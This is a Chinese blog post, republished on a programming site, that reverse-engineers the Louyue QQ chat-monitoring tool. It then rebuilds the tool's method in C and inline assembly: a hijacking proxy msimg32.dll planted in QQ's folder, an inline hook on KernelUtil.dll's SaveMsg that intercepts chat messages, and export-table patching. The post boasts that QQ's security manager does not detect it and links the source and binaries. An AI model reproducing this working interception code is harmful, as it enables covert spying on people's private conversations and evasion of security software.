欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

逆向分析楼月qq电脑监控软件8.21

程序员文章站 2022-03-19 11:28:01
免责声明 : 本帖子中的程序仅供学习之用,不得用于非法之事,否则后果自负。与本人无关! 这次我不破解了,只分析其原理,呵呵。   安装完后,用od加载并运行它。 经过调试,如...
免责声明 : 本帖子中的程序仅供学习之用,不得用于非法之事,否则后果自负。与本人无关!
这次我不破解了,只分析其原理,呵呵。
 
安装完后,用od加载并运行它。
经过调试,如下图

逆向分析楼月qq电脑监控软件8.21
 
Smass会将自己安装目录下的im32.dll和msimg32.dll拷贝到qq的运行目录下。因为msimg32.dll是系统dll,qq运行时会加载它。所以我们用ida打开msimg32.dll,看看里面都做了什么。如图
逆向分析楼月qq电脑监控软件8.21
 
用ida打开im32.dll,看看im32.dll做了什么,如图
 
 
逆向分析楼月qq电脑监控软件8.21
逆向分析楼月qq电脑监控软件8.21
逆向分析楼月qq电脑监控软件8.21


其实im32.dll就是hook了KernelUtil.dll,转到msimg32.dll中的sub_10001000中。下面分析sub_10001000,如图:
 逆向分析楼月qq电脑监控软件8.21
 
  经过上面的分析,我们可以知道此软件的原理:
1、  将自己编写的msimg32.dll和im32.dll拷贝到qq的目录下。
2、  Qq.exe运行时,会首先加载其目录下的msimg32.dll,而不是加载系统目录下的msimg32.dll。
3、  Qq目录下的msimg32.dll会加载系统目录下的msimg32.dll和im32.dll,并实现原msimg32.dll的接口。
4、  im32.dll加载后,会hook   KernelUtil.dll 的函数?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z,使其转到sub_10001000中。
5、  在sub_10001000中,通过FindWindow和SendMessage把聊天消息发送到楼月客户端。
 
      既然知道了原理,那就可以自己来实现了。
1、  创建一个dll工程msimg32
2、  实现系统msimg32.dll的接口
typedef void (WINAPI *_vSetDdrawflag)();
typedef BOOL (WINAPI *_AlphaBlend)(HDC hdcDest, int xoriginDest, int yoriginDest, int wDest,
  int hDest, HDC hdcSrc, int xoriginSrc, int yoriginSrc, int wSrc, int hSrc, BLENDFUNCTION ftn);
typedef BOOL (WINAPI *_DllInitialize)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
typedef BOOL (WINAPI *_GradientFill)(HDC hdc, PTRIVERTEX pVertex, ULONG nVertex, PVOID pMesh, ULONG nMesh, ULONG ulMode);
typedef BOOL (WINAPI *_TransparentBlt)(HDC hdcDest, int xoriginDest, int yoriginDest, int wDest, int hDest,
  HDC hdcSrc, int xoriginSrc, int yoriginSrc, int wSrc, int hSrc, UINT crTransparent);
 
_vSetDdrawflag     g_p_vSetDdrawflag = NULL;
_AlphaBlend     g_p_AlphaBlend = NULL;
_DllInitialize     g_p_DllInitialize = NULL;
_GradientFill     g_p_GradientFill = NULL;
_TransparentBlt   g_p_TransparentBlt = NULL;
 
BOOL InitDll()
{
  CString strSysDir;
  GetSystemDirectoryEx( strSysDir );
  strSysDir.AppendFormat( _T("\\msimg32.dll") );
 
  HMODULE hDll = LoadLibrary( strSysDir );
  if( NULL != hDll )
  {
    g_p_vSetDdrawflag = (_vSetDdrawflag)GetProcAddress( hDll, "vSetDdrawflag" );
    g_p_AlphaBlend = (_AlphaBlend)GetProcAddress( hDll, "AlphaBlend" );
    g_p_DllInitialize = (_DllInitialize)GetProcAddress( hDll, "DllInitialize" );
    g_p_GradientFill = (_GradientFill)GetProcAddress( hDll, "GradientFill" );
    g_p_TransparentBlt = (_TransparentBlt)GetProcAddress( hDll, "TransparentBlt" );
  }
 
  return (
    ( NULL != g_p_vSetDdrawflag ) && ( NULL != g_p_AlphaBlend ) &&
    ( NULL != g_p_DllInitialize ) && ( NULL != g_p_GradientFill ) &&
    ( NULL != g_p_TransparentBlt )
    );
}
3、hook   KernelUtil.dll 的函数?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z
typedef int (WINAPI *_SaveMsg)( DWORD, DWORD, DWORD, DWORD, DWORD, DWORD );
typedef int (WINAPI *_GetMsgAbstract)( DWORD, DWORD );
 
DWORD         g_dwRetAddr = 0;
_SaveMsg      g_p_SaveMsg = NULL;
_GetMsgAbstract    g_p_GetMsgAbstract = NULL;
 
__declspec( naked ) void JmpFun()
{
  _asm
  {   
    pushfd
    pushad
 
    push dword ptr [ebp+0x1c]  // 参数6
    push dword ptr [ebp+0x18]  // 参数5
    push dword ptr [ebp+0x14]  // 参数4
    push dword ptr [ebp+0x10]  // 参数3
    push dword ptr [ebp+0x0c]  // 参数2
    push dword ptr [ebp+0x8]  // 参数1
    call Bob_SaveMsg
 
    popad
    popfd
 
 
      //.text:3182BA70                 push    ebp
      //.text:3182BA71                 mov     ebp, esp
      //.text:3182BA73                 push    0FFFFFFFFh
      //.text:3182BA75                 push    offset loc_3185F4A8    // 这里是跳回的地址
      //.text:3182BA7A                 mov     eax, large fs:0
      //.text:3182BA80                 push    eax
      //.text:3182BA81                 sub     esp, 38h
      //.text:3182BA84                 push    ebx
      //.text:3182BA85                 push    esi
      //.text:3182BA86                 push    edi
 
    push    ebp
    mov     ebp, esp
    push    0x0FFFFFFFF
 
    jmp g_dwRetAddr
  }
}
 
BOOL BobHook()
{
  BOOL bRet = FALSE;
  HMODULE hDll = LoadLibraryW( DLL_NAME_OF_CRACK );
  if( NULL != hDll )
  {
    g_p_SaveMsg = (_SaveMsg)GetProcAddress( hDll, "?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z" );
    g_p_GetMsgAbstract = (_GetMsgAbstract)GetProcAddress( hDll, "?GetMsgAbstract@Msg@Util@@YA?AVCTXStringW@@PAUITXMsgPack@@@Z" );
    if( NULL != g_p_SaveMsg && NULL != g_p_GetMsgAbstract )
    {
      DWORD dwTemp, dwOldFlag, dwCrack = (DWORD)g_p_SaveMsg;
      g_dwRetAddr = dwCrack + LEN_OF_CRACK;
      if( VirtualProtect( (LPVOID)dwCrack, LEN_OF_CRACK, PAGE_READWRITE, &dwOldFlag ) )
      {       
        JmpCode struJmp;
        struJmp.byJmpCode[3] = 0x0e9;  // jmp
        struJmp.dwJmpCode[1] = GetMachineCode( dwCrack, JmpFun );
        bRet = WriteProcessMemory( GetCurrentProcess(), (LPVOID)dwCrack, &( struJmp.byJmpCode[3] ), LEN_OF_CRACK, &dwTemp );
        VirtualProtect( (LPVOID)dwCrack, LEN_OF_CRACK, dwOldFlag, &dwTemp );  
      }
    }
  }
 
  return bRet;
}
4、输出聊天信息
void WINAPI Bob_SaveMsg( int a1, const wchar_t *Format, const wchar_t *a3, const wchar_t *a4, int a5, int a6 )
{
  if( NULL == g_p_GetMsgAbstract )
  {
    DbgOutput( _T("In Bob_SaveMsg(), g_p_GetMsgAbstract is NULL...") );
    return;
  }
 
  // 这里只显示调试信息,不显示聊天数据了,呵呵
  static int nCount = 1;
  DbgOutput( _T("In Bob_SaveMsg(), nCount:%d ..."), nCount++ );
}
 
编译出msimg32.dll后,还需要修改msimg32.dll的导出表,使导出表的Name Ordinal和Name与系统的msimg32.dll一样。如图

逆向分析楼月qq电脑监控软件8.21
 
修改后的msimg32.dll放到qq安装目录下就可以了,然后运行qq,如图:
 逆向分析楼月qq电脑监控软件8.21
逆向分析楼月qq电脑监控软件8.21

 
我把传说中很牛逼的qq管家打开,然后运行qq,如图:
逆向分析楼月qq电脑监控软件8.21
 
      在这里我要废话一句,qq太不安全了、qq管家太弱了。如果我在msimg32.dll中写点破坏代码,那就。


dll和源码

http://up.2cto.com/2012/0302/20120302105338340.rar
作者 guxinyi